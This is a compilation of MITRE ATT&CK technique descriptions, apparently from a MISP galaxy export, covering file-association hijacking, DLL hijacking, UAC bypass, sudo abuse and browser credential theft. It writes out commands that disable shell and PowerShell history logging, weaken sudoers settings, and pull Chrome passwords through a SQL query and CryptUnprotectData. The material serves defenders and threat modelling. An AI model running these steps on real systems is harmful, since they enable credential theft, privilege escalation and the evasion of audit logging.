Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under `HKEY_CLASSES_ROOT\[extension]`, for example `HKEY_CLASSES_ROOT\.txt`. The entries point to a handler for that extension located at `HKEY_CLASSES_ROOT\[handler]`. The various commands are then listed as subkeys underneath the shell key at `HKEY_CLASSES_ROOT\[handler]\shell[action]\command`. For example:

- `HKEY_CLASSES_ROOT\txtfile\shell\open\command`
- `HKEY_CLASSES_ROOT\txtfile\shell\print\command`
- `HKEY_CLASSES_ROOT\txtfile\shell\printto\command`

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

## Hidden Files and Directories - T1564.001

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a 'hidden' file. These files don't show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (`dir /a` for Windows and `ls -a` for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF\_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

## DLL Search Order Hijacking - T1574.001

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL. (Citation: Microsoft Dynamic-Link Library Redirection) (Citation: Microsoft

Manifests) (Citation: FireEye DLL Search Order Hijacking)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

## Services File Permissions Weakness - T1574.010

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

## Exfiltration to Code Repository - T1567.001

Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: <https://api.github.com>). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.

Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001"*

Links
<a href="https://attack.mitre.org/techniques/T1567/001">https://attack.mitre.org/techniques/T1567/001</a>

## Network Address Translation Traversal - T1599.001

Adversaries may bridge network boundaries by modifying a network device's Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)

When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.

Adversaries may use [Patch System Image](<https://attack.mitre.org/techniques/T1601/001>) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities

The tag is: *misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001"*

## Disable Windows Event Logging - T1562.002

Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

Adversaries may target system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002"*

## Impair Command History Logging - T1562.003

Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The `HISTCONTROL` environment variable keeps track of what should be saved by the `history` command and eventually into the `~/.bash_history` file when a user logs out. `HISTCONTROL` does not exist by default on macOS, but can be set by the user and will be respected.

Adversaries may clear the history environment variable (`unset HISTFILE`) or set the command history size to zero (`export HISTFILESIZE=0`) to prevent logging of commands. Additionally, `HISTCONTROL` can be configured to ignore commands that start with a space by simply setting it to "ignorespace". `HISTCONTROL` can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that "ls" will not be saved, but "ls" would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.

On Windows systems, the `PSReadLine` module tracks commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` by default). Adversaries may change where these logs are saved using `Set-PSReadLineOption -HistorySavePath {File Path}`. This will cause `ConsoleHost_history.txt` to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

The tag is: *misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003"*

## Bypass User Account Control - T1548.002

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](<https://attack.mitre.org/techniques/T1559/001>) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](<https://attack.mitre.org/techniques/T1218/011>) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](<https://attack.mitre.org/techniques/T1559/001>) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented,

but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- `eventvwr.exe` can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

## User Activity Based Checks - T1497.002

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](<https://attack.mitre.org/techniques/T1497>) during automated discovery to shape follow-on behaviors.

Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42

Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)

## Cloud Instance Metadata API - T1552.005

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at `http://169.254.169.254`.

## Exfiltration to Cloud Storage - T1567.002

Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"*

## Sudo and Sudo Caching - T1548.003

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The `sudo` command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout`, which is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

The sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL` (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.

Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, `/var/db/sudo`'s timestamp can be monitored to see if it falls within the `timestamp_timeout` range. If it does, then

malware can execute sudo commands without needing to supply the user's password. Additionally, if `tty_tickets` is disabled, adversaries can do this from any tty for that user.

In the wild, malware has disabled `tty_tickets` to potentially make scripting easier by issuing `echo 'Defaults !tty_tickets' >> /etc/sudoers` (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued `killall Terminal`. As of macOS Sierra, the sudoers file has `tty_tickets` enabled by default.

## Credentials from Web Browsers - T1555.003

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `AppData\Local\Google\Chrome\User Data\Default>Login Data` and executing a SQL query: `SELECT action_url, username_value, password_value FROM logins;`. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `CryptUnprotectData`, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as Firefox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. (Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

## Elevated Execution with Prompt - T1548.004

Adversaries may leverage the `AuthorizationExecuteWithPrivileges` API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.

Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse `AuthorizationExecuteWithPrivileges` to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](<https://attack.mitre.org/techniques/T1036>) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)

## Application or System Exploitation - T1499.004

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.

## Kernel Modules and Extensions - T1547.006

Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)

When used maliciously, LKMs can be a type of kernel-mode [Rootkit](<https://attack.mitre.org/techniques/T1014>) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through `kextload` and `kextunload` commands.

Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)

## Services Registry Permissions Weakness - T1574.011

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under `HKLM\SYSTEM\CurrentControlSet\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, `sc.exe`, [PowerShell](<https://attack.mitre.org/techniques/T1059/001>), or [Reg](<https://attack.mitre.org/software/S0075>). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service `binPath/ImagePath` to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as `FailureCommand`) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

## Component Object Model Hijacking - T1546.015

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015"*

## Deobfuscate/Decode Files or Information - T1140

Adversaries may use [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1027>) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is use of [certutil](<https://attack.mitre.org/software/S0160>) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation:

Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows `copy /b` command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](<https://attack.mitre.org/techniques/T1204>). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)

## Indicator Removal on Host - T1070

Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as `[Bash History]`(<https://attack.mitre.org/techniques/T1139>) and `/var/log/*`.

These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070"*

## Exploitation of Remote Services - T1210

Adversaries may exploit remote services to gain unauthorized access to internal systems once

inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](<https://attack.mitre.org/techniques/T1046>) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)

Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](<https://attack.mitre.org/techniques/T1068>) as a result of lateral movement exploitation as well.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210"*

## System Network Configuration Discovery - T1016

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](<https://attack.mitre.org/software/S0099>), [ipconfig](<https://attack.mitre.org/software/S0101>), [nbtstat](<https://attack.mitre.org/software/S0102>), and [route](<https://attack.mitre.org/software/S0103>).

Adversaries may use the information from [System Network Configuration Discovery](<https://attack.mitre.org/techniques/T1016>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"*

## Replication Through Removable Media - T1091

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

The tag is: *misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"*

Table 3079. Table References

Links
<a href="https://attack.mitre.org/techniques/T1091">https://attack.mitre.org/techniques/T1091</a>

## Exploitation for Client Execution - T1203

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

### Browser-based Exploitation

Web browsers are a common target through [Drive-by Compromise](<https://attack.mitre.org/techniques/T1189>) and [Spearphishing Link](<https://attack.mitre.org/techniques/T1566/002>). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

# Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](<https://attack.mitre.org/techniques/T1566>). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

## Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"*

Table 3080. Table References

<a href="https://attack.mitre.org/techniques/T1203">https://attack.mitre.org/techniques/T1203</a>

## Change Default File Association - T1042

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under `HKEY_CLASSES_ROOT\[extension]`, for example `HKEY_CLASSES_ROOT\.txt`. The entries point to a handler for that extension located at `HKEY_CLASSES_ROOT\[handler]`. The various commands are then listed as subkeys underneath the shell key at `HKEY_CLASSES_ROOT\[handler]\shell[action]\command`. For example:

- `HKEY_CLASSES_ROOT\txtfile\shell\open\command` \*
- `HKEY_CLASSES_ROOT\txtfile\shell\print\command` \*
- `HKEY_CLASSES_ROOT\txtfile\shell\printto\command`

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042"*

Change Default File Association - T1042 has relationships with:

## File and Directory Discovery - T1420

On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there.

iOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420"*

<a href="https://attack.mitre.org/techniques/T1420">https://attack.mitre.org/techniques/T1420</a>

## Data from Removable Media - T1025

Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](<https://attack.mitre.org/software/S0106>) may be used to gather information.

Some adversaries may also use [Automated Collection](<https://attack.mitre.org/techniques/T1119>) on removable media.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"*

Table 3083. Table References

Links
-------

## Exfiltration Over Physical Medium - T1052

Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052"*

Table 3084. Table References

<a href="https://attack.mitre.org/techniques/T1052">https://attack.mitre.org/techniques/T1052</a>

## Data from Configuration Repository - T1602

Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Configuration Repository - T1602"*

## Obfuscated Files or Information - T1027

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](<https://attack.mitre.org/techniques/T1140>) for [User Execution](<https://attack.mitre.org/techniques/T1204>). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](<https://attack.mitre.org/techniques/T1059>). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

## Communication Through Removable Media - T1092

Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was

compromised first and the second through lateral movement by [Replication Through Removable Media](<https://attack.mitre.org/techniques/T1091>). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.

The tag is: *misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092"*

Table 3087. Table References

Links
<a href="https://attack.mitre.org/techniques/T1092">https://attack.mitre.org/techniques/T1092</a>

## Modify Cached Executable Code - T1403

ART (the Android Runtime) compiles optimized code on the device itself to improve performance. An adversary may be able to use escalated privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.(Citation: Sabanal-ART)

## Credentials from Web Browsers - T1503

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018)

Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `AppData\Local\Google\Chrome\User Data\Default>Login Data` and executing a SQL query: `SELECT action_url, username_value, password_value FROM logins;`. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `CryptUnprotectData`, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)

